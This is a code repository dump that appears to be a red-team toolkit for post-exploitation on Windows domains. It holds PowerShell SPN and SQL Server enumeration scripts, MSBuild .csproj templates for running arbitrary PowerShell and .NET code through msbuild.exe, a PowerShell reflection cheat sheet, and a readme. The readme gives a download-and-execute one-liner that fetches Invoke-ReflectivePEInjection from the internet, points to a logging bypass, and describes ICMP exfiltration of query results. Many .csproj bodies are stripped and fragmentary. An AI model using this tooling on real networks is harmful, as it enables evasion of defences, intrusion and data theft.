[Parameter(Mandatory = $false, 194 | HelpMessage = 'Use an encrypted connection.')] 195 | [ValidateSet("Yes","No","")] 196 | [string]$Encrypt = "", 197 | 198 | [Parameter(Mandatory = $false, 199 | HelpMessage = 'Trust the certificate of the remote server.')] 200 | [ValidateSet("Yes","No","")] 201 | [string]$TrustServerCert = "", 202 | 203 | [Parameter(Mandatory = $false, 204 | HelpMessage = 'Return error message if exists.')] 205 | [switch]$ReturnError 206 | ) 207 | 208 | Begin 209 | { 210 | # Setup up data tables for output 211 | $TblQueryResults = New-Object -TypeName System.Data.DataTable 212 | } 213 | 214 | Process 215 | { 216 | # Setup DAC string 217 | if($DAC) 218 | { 219 | # Create connection object 220 | $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -WorkstationId $WorkstationId -Encrypt $Encrypt -TrustServerCert $TrustServerCert 221 | } 222 | else 223 | { 224 | # Create connection object 225 | $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -WorkstationId $WorkstationId -Encrypt $Encrypt -TrustServerCert $TrustServerCert 226 | } 227 | 228 | # Parse SQL Server instance name 229 | $ConnectionString = $Connection.Connectionstring 230 | $Instance = $ConnectionString.split(';')[0].split('=')[1] 231 | 232 | # Check for query 233 | if($Query) 234 | { 235 | # Attempt connection 236 | try 237 | { 238 | # Open connection 239 | $Connection.Open() 240 | 241 | if(-not $SuppressVerbose) 242 | { 243 | Write-Verbose -Message "$Instance : Connection Success." 244 | } 245 | 246 | # Setup SQL query 247 | $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) 248 | 249 | # Grab results 250 | $Results = $Command.ExecuteReader() 251 | 252 | # Load results into data table 253 | $TblQueryResults.Load($Results) 254 | 255 | # Close connection 256 | $Connection.Close() 257 | 258 | # Dispose connection 259 | $Connection.Dispose() 260 | } 261 | catch 262 | { 263 | # Connection failed - for detail error use Get-SQLConnectionTest 264 | if(-not $SuppressVerbose) 265 | { 266 | Write-Verbose -Message "$Instance : Connection Failed." 267 | } 268 | 269 | if($ReturnError) 270 | { 271 | $ErrorMessage = $_.Exception.Message 272 | #Write-Verbose " Error: $ErrorMessage" 273 | } 274 | } 275 | } 276 | else 277 | { 278 | Write-Output -InputObject 'No query provided to Get-SQLQuery function.' 279 | Break 280 | } 281 | } 282 | 283 | End 284 | { 285 | # Return Results 286 | if($ReturnError) 287 | { 288 | $ErrorMessage 289 | } 290 | else 291 | { 292 | $TblQueryResults 293 | } 294 | } 295 | } 296 | 297 | <# 298 | 299 | Examples 300 | 301 | # basic query 302 | get-sqlquery -verbose -instance ComputerName\InstanceName -Query "select @@version" 303 | 304 | # Set workstation id and app id 305 | get-sqlquery -verbose -instance ComputerName\InstanceName -Query "select @@version" -WorkstationId "servername" -AppName myappname 306 | 307 | # Confirmation checks 308 | Get-SQLQuery -Verbose -Instance ComputerName\InstanceName -Query "SELECT app_name(),system_user" -AppName "appname" -Username "domain\user" -Password 'theirpassword' 309 | Get-SQLQuery -Verbose -Instance ComputerName\InstanceName -Query "SELECT host_name(),system_user" -WorkstationId "servername" 310 | 311 | #> 312 | -------------------------------------------------------------------------------- /Msbuild-Templates/Get-Spn.ps1: -------------------------------------------------------------------------------- 1 | Function Get-Spn { 2 | 3 | [CmdletBinding()] 4 | Param() 5 | 6 | # Data table for output 7 | $tbl_spn = New-Object -TypeName System.Data.DataTable 8 | $null = $tbl_spn.Columns.Add('Samaccountname') 9 | $null = $tbl_spn.Columns.Add('Description') 10 | $null = $tbl_spn.Columns.Add('LastLogon') 11 | $null = $tbl_spn.Columns.Add('SPNServer') 12 | $null = $tbl_spn.Columns.Add('SPNService') 13 | $null = $tbl_spn.Columns.Add('SPN') 14 | $tbl_spn.Clear() 15 | 16 | # Query for SQL Server SPNs 17 | $objDomain = ([ADSI]'').distinguishedName 18 | $objDomainPath = [ADSI]'' 19 | $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath 20 | $objSearcher.PageSize = 1000 21 | $objSearcher.Filter = '(&(servicePrincipalName=*))' 22 | $objSearcher.SearchScope = 'Subtree' 23 | $objSearcher.FindAll() | 24 | ForEach-Object { 25 | 26 | $SamAccountName = $_.properties.samaccountname 27 | $Description = $_.properties.description 28 | 29 | foreach ($item in $($_.properties.serviceprincipalname)){ 30 | 31 | # Parse SPNs 32 | $SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0] 33 | $SpnService = $item.split('/')[0] 34 | $Spn = $item 35 | 36 | # Parse last logon 37 | if ($_.properties.lastlogon) 38 | { 39 | $LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g') 40 | }else{ 41 | $LastLogon = '' 42 | } 43 | 44 | # Add results to table if its an SQL Service 45 | 46 | $null = $tbl_spn.Rows.Add( 47 | [string]$SamAccountName, 48 | [string]$Description, 49 | $LastLogon, 50 | [string]$SpnServer, 51 | [string]$SpnService, 52 | [string]$Spn 53 | ) 54 | } 55 | } 56 | 57 | $tbl_spn 58 | $count = $tbl_spn.Rows.Count 59 | Write-Verbose "Found $count SQL Server SPNs" 60 | } 61 | 62 | Get-SpnList -Verbose 63 | 64 | # $x = Get-SpnList -Verbose 65 | # $x | Out-GridView 66 | # $x | Export-Csv -NoTypeInformation output.csv 67 | -------------------------------------------------------------------------------- /Msbuild-Templates/Get-SpnSql1.ps1: -------------------------------------------------------------------------------- 1 | Function Get-SpnList { 2 | 3 | [CmdletBinding()] 4 | Param() 5 | 6 | # Data table for output 7 | $tbl_spn = New-Object -TypeName System.Data.DataTable 8 | $null = $tbl_spn.Columns.Add('Samaccountname') 9 | $null = $tbl_spn.Columns.Add('Description') 10 | $null = $tbl_spn.Columns.Add('LastLogon') 11 | $null = $tbl_spn.Columns.Add('SPNServer') 12 | $null = $tbl_spn.Columns.Add('SPNService') 13 | $null = $tbl_spn.Columns.Add('SPN') 14 | $null = $tbl_spn.Columns.Add('SQLInstance') 15 | $tbl_spn.Clear() 16 | 17 | # Query for SQL Server SPNs 18 | $objDomain = ([ADSI]'').distinguishedName 19 | $objDomainPath = [ADSI]'' 20 | $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath 21 | $objSearcher.PageSize = 1000 22 | $objSearcher.Filter = '(&(servicePrincipalName=*MSSQLSvc*))' 23 | $objSearcher.SearchScope = 'Subtree' 24 | $objSearcher.FindAll() | 25 | ForEach-Object { 26 | 27 | $SamAccountName = $_.properties.samaccountname 28 | $Description = $_.properties.description 29 | 30 | foreach ($item in $($_.properties.serviceprincipalname)){ 31 | 32 | # Parse SPNs 33 | $SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0] 34 | $SpnService = $item.split('/')[0] 35 | $Spn = $item 36 | 37 | $Instance = $Spn.split('/')[1].split(':')[1] 38 | 39 | # Check if the instance is a number and use the relevent delim 40 | $Value = 0 41 | if([int32]::TryParse($Instance,[ref]$Value)) 42 | { 43 | $SQLInstance = $Spn -replace ':', ',' 44 | }else{ 45 | $SQLInstance = $Spn -replace ':', '\' 46 | } 47 | 48 | $SQLInstance = $SQLInstance -replace 'MSSQLSvc/', '' 49 | 50 | # Parse last logon 51 | if ($_.properties.lastlogon) 52 | { 53 | $LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g') 54 | }else{ 55 | $LastLogon = '' 56 | } 57 | 58 | # Add results to table if its an SQL Service 59 | If ($SpnService -like "*SQL*"){ 60 | $null = $tbl_spn.Rows.Add( 61 | [string]$SamAccountName, 62 | [string]$Description, 63 | $LastLogon, 64 | [string]$SpnServer, 65 | [string]$SpnService, 66 | [string]$Spn, 67 | [string]$SQLInstance 68 | ) 69 | } 70 | } 71 | } 72 | 73 | $tbl_spn 74 | $count = $tbl_spn.Rows.Count 75 | Write-Verbose "Found $count SQL Server SPNs" 76 | } 77 | 78 | Get-SpnList -Verbose 79 | 80 | # $x = Get-SpnList -Verbose 81 | # $x | Out-GridView 82 | # $x | Export-Csv -NoTypeInformation output.csv 83 | 84 | -------------------------------------------------------------------------------- /Msbuild-Templates/msbuild_ldap_dump.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | 12 | 13 | 14 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /Msbuild-Templates/msbuild_ldap_sqlinstances.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | 12 | 13 | 14 | 156 | 157 | 158 | 159 | 160 | -------------------------------------------------------------------------------- /Msbuild-Templates/msbuild_ldap_users.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | 12 | 13 | 14 | 133 | 134 | 135 | 136 | 137 | -------------------------------------------------------------------------------- /Msbuild-Templates/msbuild_ldap_userspns.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | 12 | 13 | 14 | 134 | 135 | 136 | 137 | 138 | -------------------------------------------------------------------------------- /Msbuild-Templates/msbuild_powershell_console.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | 12 | 13 | "); 39 | String cmd = Console.ReadLine(); 40 | 41 | // Create a session state 42 | InitialSessionState iss = InitialSessionState.CreateDefault(); 43 | 44 | // Set full language mode 45 | iss.LanguageMode = PSLanguageMode.FullLanguage; 46 | 47 | // Create runspace 48 | Runspace rs = RunspaceFactory.CreateRunspace(iss); 49 | rs.Open(); 50 | 51 | PowerShell ps = PowerShell.Create(); 52 | ps.Runspace = rs; 53 | ps.AddScript(cmd); 54 | 55 | Collection output = ps.Invoke(); 56 | if (output != null) 57 | { 58 | foreach (PSObject rtnItem in output) 59 | { 60 | Console.WriteLine(rtnItem.ToString()); 61 | } 62 | } 63 | rs.Close(); 64 | 65 | Console.ReadLine(); 66 | // Return to the console 67 | RunPSCommand(); 68 | return "WEEEE"; 69 | } 70 | } 71 | 72 | ]]> 73 | 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /Msbuild-Templates/msbuild_powershell_exec_file.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 11 | 12 | 13 | 14 | 15 | results = pipeline.Invoke(); 80 | runspace.Close(); 81 | 82 | //Convert records to strings 83 | StringBuilder stringBuilder = new StringBuilder(); 84 | foreach (PSObject obj in results) 85 | { 86 | stringBuilder.Append(obj).Append("\n"); 87 | } 88 | 89 | return stringBuilder.ToString().Trim(); 90 | 91 | } 92 | } 93 | 94 | ]]> 95 | 96 | 97 | 98 | 99 | -------------------------------------------------------------------------------- /Msbuild-Templates/msbuild_powershell_exec_iex.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 12 | 13 | 14 | 15 | 16 | results = pipeline.Invoke(); 62 | runspace.Close(); 63 | 64 | //Convert records to strings 65 | StringBuilder stringBuilder = new StringBuilder(); 66 | foreach (PSObject obj in results) 67 | { 68 | stringBuilder.Append(obj); 69 | } 70 | return stringBuilder.ToString().Trim(); 71 | } 72 | } 73 | 74 | ]]> 75 | 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /Msbuild-Templates/msbuild_powershell_exec_sb.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 11 | 12 | 13 | 14 | 15 | results = pipeline.Invoke(); 79 | runspace.Close(); 80 | 81 | //Convert records to strings 82 | StringBuilder stringBuilder = new StringBuilder(); 83 | foreach (PSObject obj in results) 84 | { 85 | stringBuilder.Append(obj).Append("\n"); 86 | } 87 | 88 | return stringBuilder.ToString().Trim(); 89 | 90 | } 91 | } 92 | 93 | ]]> 94 | 95 | 96 | 97 | 98 | -------------------------------------------------------------------------------- /Msbuild-Templates/msbuild_template.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | 42 | 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /Msbuild-Templates/msbuild_template_datatable.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | 12 | 13 | 14 | 79 | 80 | 81 | 82 | 83 | -------------------------------------------------------------------------------- /Msbuild-Templates/readme.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | ## MSBUILD.EXE POST EXPLOITATION SCRIPTS ## 5 | 6 | Msbuild.exe can be used to execute arbitrary commands and .net code through various methods. Loading and executing .csproj files that use inline tasks in one of those methods. This repository contains a few csharp programs that use that method to execute common red team tasks such as executing arbitrary PowerShell, LDAP, and SQL Server commands/queries. 7 | 8 | Other methods not covered include: 9 | * Project File Parsing And Import Injection 10 | * PropertyGroup Expansion and Injection 11 | * Command Line injection to influence build process 12 | * Dynamic Properties 13 | * Items and targets 14 | * Reference: http://subt0x11.blogspot.com/2018/11/microsoft-build-engine-compromise-part_13.html 15 | * Reference: https://gist.github.com/caseysmithrc/047a32203ad7c2f92eb250a0bbd01cac 16 | * Reference: https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015#BKMK_Targets 17 | 18 | ### Command Execution Options ### 19 | Simply navigate to the folder containing the .csproj file and run the msbuild.exe command from its path as shown below. You can explicitly define the .csproj file to load, but it is not required if only one .csproj file exists the your current working directory.

20 | `C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe ` 21 |
22 | `C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe file.csproj` 23 |
24 | `C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe file.csproj /p:AllowUnsafeBlocks=true` 25 |
26 | In some cases you may have to set the environmental variable below to execute constrained .net API calls. 27 |

28 | `set MSBUILDENABLEALLPROPERTYFUNCTIONS=1` 29 |
30 | `$env:MSBUILDENABLEALLPROPERTYFUNCTIONS = 1` 31 | 32 | ### CSharp Project Files and Descriptions ### 33 | 34 | |Project File|Description | 35 | |:--------------------------------|:-----------| 36 | |msbuild_ldap_sqlinstances.csproj|Execute a LDAP query and obtain a list of SQL Server SPNs/Instance.| 37 | |msbuild_ldap_userspns.csproj|This should return all SPNs for the users in the domain. | 38 | |msbuild_ldap_users.csproj|This should return all users in the domain.| 39 | |msbuild_powershell_console.csproj|The .net code will provide a powershell console if all the libs are available. Make sure you have the correct System.Management.Automation.dll referenced for the target system.

Note 1: If PowerShell transcription or script block logging is enabled, the PowerShell commands you run will still show up in the logs regardless if they are run through powershell.exe or through the msbuild .net program using System.Management.Automation.dll. However, that could potentially be disabled with this https://cobbr.io/ScriptBlock-Logging-Bypass.html.

Note 2: If outbound HTTP filter rules are not restrictive and WindowsDefender isnt running, you can launch other applicaiton with the snippet below through the powershell console.

`iex(new-object net.webclient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1");$PEBytes = [IO.File]::ReadAllBytes('c:\windows\system32\calc.exe');Invoke-ReflectivePEInjection -PEBytes $PEBytes`| 40 | |msbuild_powershell_execfile.csproj|The .net code will run powershell code stored in c:\windows\temp\test.txt, however you can change the path. Make sure you have the correct System.Management.Automation.dll referenced for the target system.| 41 | |msbuild_powershell_exec_sb.csproj|The .net code will run powershell scriptblock stored in the "readtext" variable, which you can change to meet your needs. Make sure you have the correct System.Management.Automation.dll referenced for the target system.| 42 | |msbuild_powershell_exec_iex.csproj|The .net code will run powershell scriptblock and the sample shows how to download and execute a script from the internet using invoke-expression, which you can change to meet your needs. The sample downloaded from the internet will write a text file to c:\temp\test123.txt. Make sure you have the correct System.Management.Automation.dll referenced for the target system.| 43 | |msbuild_sql_query.csproj|This is a simple C# SQL Server client console that can be run through msbuild.
1. Connection strings are hard coded by default using the "connString" variable. You can change the connection string on the fly with the "setconn" command.
2. Query results are written to c:\windows\temp\file.csv by default. You can change the output file using the "setfile" command.
3. ICMP exfilatation is disabled by default. By setting the "enableicmp" variable to true, and
setting the IP, the results of each query will be sent to the provided IP in the payloads of ICMP echo requests.
The payloads are encrypted by default using a hard coded salt/key. You can use the baked in decryption function to decrypt the payload data on the receiving system. You can also disable encrypted payloads by setting the "enableEncryption" variable to "false", but cleartext data == bad idea.
4. Type "help" for basic instructions.
Todo:
Fix sql data types
Display autosize 44 | |msbuild_template.csproj|This is a basic .csproj template that uses inline tasks from .net code execution| 45 | |msbuild_template_datatable.csproj |This is a basic .csproj template that uses inline tasks from .net code execution and uses datatables for storage and displaying results| 46 | |msbuild_mimikatz.csproj|This one was written by Casey Smith.| 47 | 48 | ## POWERSHELL POST EXPLOITATION SCRIPTS ## 49 | 50 | ### Get-Spn.ps1 ### 51 | * This should return all SPNs for the users and computers in the domain. 52 | 53 | ### Get-SQLQuery.psm1 ### 54 | * This script can be used as an adhoc PowerShell based sql server client. It should work in powershell v2. Consider removing the examples before deployed though. 55 | 56 | This script can be used to query Active directory for a list of SQL Server SPNs as the domain user logged into a domain system. They are intended to be used during red team engagement and should have a smaller detectable footprint than PowerUpSQL. 57 | 58 | ### Get-SpnSql1.ps1 ### 59 | * This does not use any code from PowerUpSQL and is pretty lite wieght. 60 | 61 | ### Get-SpnSql2.ps1 ### 62 | * This uses 3 functions from PowerUpSQL, but all comments have been removed. 63 | -------------------------------------------------------------------------------- /PStoDotNetCheats.md: -------------------------------------------------------------------------------- 1 | ## PowerShell Reflection Cheatsheet 2 | This is a cheat sheet that shows how to call .Net assembly methods from PowerShell. All examples have been taken from Khai Tran's [blog](https://blog.netspi.com/using-powershell-and-reflection-api-to-invoke-methods-from-net-assemblies/). 3 | 4 | Below are a few code examples that illustrate how to deal with different scenarios: 5 | 6 | * Public Static Class: Call public static method 7 | * Public Static Class: Call private static method 8 | * Public Static Class: Call private static method (function overloading) 9 | * Public Class: Call nonstatic public method 10 | * Public Class: Call nonstatic private method (function overloading) 11 | 12 | ### Public Static Class: Call public static method 13 | 14 | 
 15 | # Load all .NET binaries in the folder
 16 | Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}} 
 17 | 
 18 | #Call public static method
 19 | [AesSample.AesLibStatic]::DecryptString("8E3C5A3088CEA26B634CFDA09D13A7DB")
 20 |
21 | 22 | ### Public Static Class: Call private static method 23 | 24 | 
 25 | #Load all .NET binaries in the folder
 26 | Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
 27 | 
 28 | #Only retrieve static private method
 29 | $BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
 30 |  
 31 | #Load method based on name
 32 | $PrivateMethod = [AesSample.AesLibStatic].GetMethod("DecryptStringSecret",$bindingFlags)
 33 |  
 34 | #Invoke
 35 | $PrivateMethod.Invoke($null,"8E3C5A3088CEA26B634CFDA09D13A7DB")
 36 |
37 | 38 | ### Public Static Class: Call private static method (function overloading) 39 | 40 | 
 41 | 
 42 | #Load all .NET binaries in the folder
 43 | Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
 44 | 
 45 | #Only retrieve static private method
 46 | $BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
 47 | 
 48 | #Search for private method based on name
 49 | $PrivateMethods = [AesSample.AesLibStatic].GetMethods($bindingFlags) | Where-Object Name -eq DecryptStringPrivate
 50 | 
 51 | $PrivateMethods | ForEach-Object{
 52 |  $PrivateMethod=$_
 53 |  $MethodParams=$PrivateMethod.GetParameters()
 54 |  $MemberSignature = $MethodParams | Select -First 1 | Select-Object Member
 55 |  #This will list all the method signatures
 56 |  $MemberSignature.Member.ToString()
 57 |  
 58 |  #Choose the correct method based on parameter list
 59 |  If ($MemberSignature.Member.ToString() -eq "System.String DecryptStringPrivate(Byte[])"){
 60 |  [byte[]]$Bytes =@(70,1,65,70,155,197,95,238,85,79,190,34,158,69,125,233,53,212,111,19,248,209,147,180,19,172,150,25,97,41,127,175)
 61 |  [Object[]] $Params=@(,$Bytes)
 62 |  
 63 |  #Call with the right arguments
 64 |  $PrivateMethod.Invoke($null,$Params)
 65 |  }
 66 | }
 67 |
68 | 69 | ### Public class: Call nonstatic public method 70 | 71 | 
 72 | #Load all .NET binaries in the folder
 73 | Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
 74 | #Call default constructor (no argument)
 75 | $AesSample= New-Object "AesSample.AesLib"
 76 | #Call constructor with arguments using this syntax: $AesSample= New-Object "AesSample.AesLib" ("a","b")
 77 |  
 78 | #Invoke public method 
 79 | $AesSample.DecryptString("8E3C5A3088CEA26B634CFDA09D13A7DB")
 80 |
81 | 82 | ### Public class: Call nonstatic private method (function overloading) 83 | 84 | 
 85 | 
 86 | # Load all .NET binaries in the folder
 87 | Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
 88 | 
 89 | # Call constructor
 90 | $Instance= New-Object "AesSample.AesLib" ("a","b")
 91 |  
 92 | # Find private nonstatic method. If you want to invoke static private method, replace Instance with Static
 93 | $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance"
 94 |  
 95 | $Instance.GetType().GetMethods($BindingFlags) | Where-Object Name -eq DecryptStringPrivate| 
 96 | ForEach-Object{
 97 |     $PrivateMethod=$_
 98 |     $MethodParams=$PrivateMethod.GetParameters() 
 99 |     $MemberSignature = $MethodParams | Select -First 1 | Select-Object Member
100 |     $MemberSignature.Member.ToString()
101 |     If ($MemberSignature.Member.ToString() -eq "System.String DecryptStringPrivate(Byte[])"){
102 |     [byte[]]$Bytes =@(70,1,65,70,155,197,95,238,85,79,190,34,158,69,125,233,53,212,111,19,248,209,147,180,19,172,150,25,97,41,127,175)
103 |     [Object[]] $Params=@(,$Bytes)
104 |  
105 |     # You will need to pass the Instance here instead of $null
106 |     $PrivateMethod.Invoke($Instance,$Params)
107 |   }
108 |  }
109 |
110 | -------------------------------------------------------------------------------- /esc.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/esc.dll -------------------------------------------------------------------------------- /esc/esc.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27703.2047 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "esc", "esc\esc.csproj", "{87FC7EDE-4DAE-4F00-AC77-9C40803E8248}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {87FC7EDE-4DAE-4F00-AC77-9C40803E8248}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {87FC7EDE-4DAE-4F00-AC77-9C40803E8248}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {87FC7EDE-4DAE-4F00-AC77-9C40803E8248}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {87FC7EDE-4DAE-4F00-AC77-9C40803E8248}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {EA8BF5E8-B9D3-4B7C-93E6-58DCF4B60CB1} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /esc/esc/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /esc/esc/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("esc")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("esc")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("87fc7ede-4dae-4f00-ac77-9c40803e8248")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /esc/esc/esc.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {87FC7EDE-4DAE-4F00-AC77-9C40803E8248} 8 | Exe 9 | esc 10 | esc 11 | v4.6.1 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /screenshots/Access-CheckAccess.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Access-CheckAccess.png -------------------------------------------------------------------------------- /screenshots/Access-CheckDefaultPw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Access-CheckDefaultPw.png -------------------------------------------------------------------------------- /screenshots/Access-ShowAccess.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Access-ShowAccess.png -------------------------------------------------------------------------------- /screenshots/Access-ShowAccess2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Access-ShowAccess2.png -------------------------------------------------------------------------------- /screenshots/Access-TargetAll.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Access-TargetAll.png -------------------------------------------------------------------------------- /screenshots/AccessExport1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/AccessExport1.png -------------------------------------------------------------------------------- /screenshots/AccessExport2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/AccessExport2.png -------------------------------------------------------------------------------- /screenshots/Discovery-Broadcast.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Discovery-Broadcast.png -------------------------------------------------------------------------------- /screenshots/Discovery-DomainSPN.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Discovery-DomainSPN.png -------------------------------------------------------------------------------- /screenshots/Discovery-Show.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Discovery-Show.png -------------------------------------------------------------------------------- /screenshots/FileExfil1.png: -------------------------------------------------------------------------------- 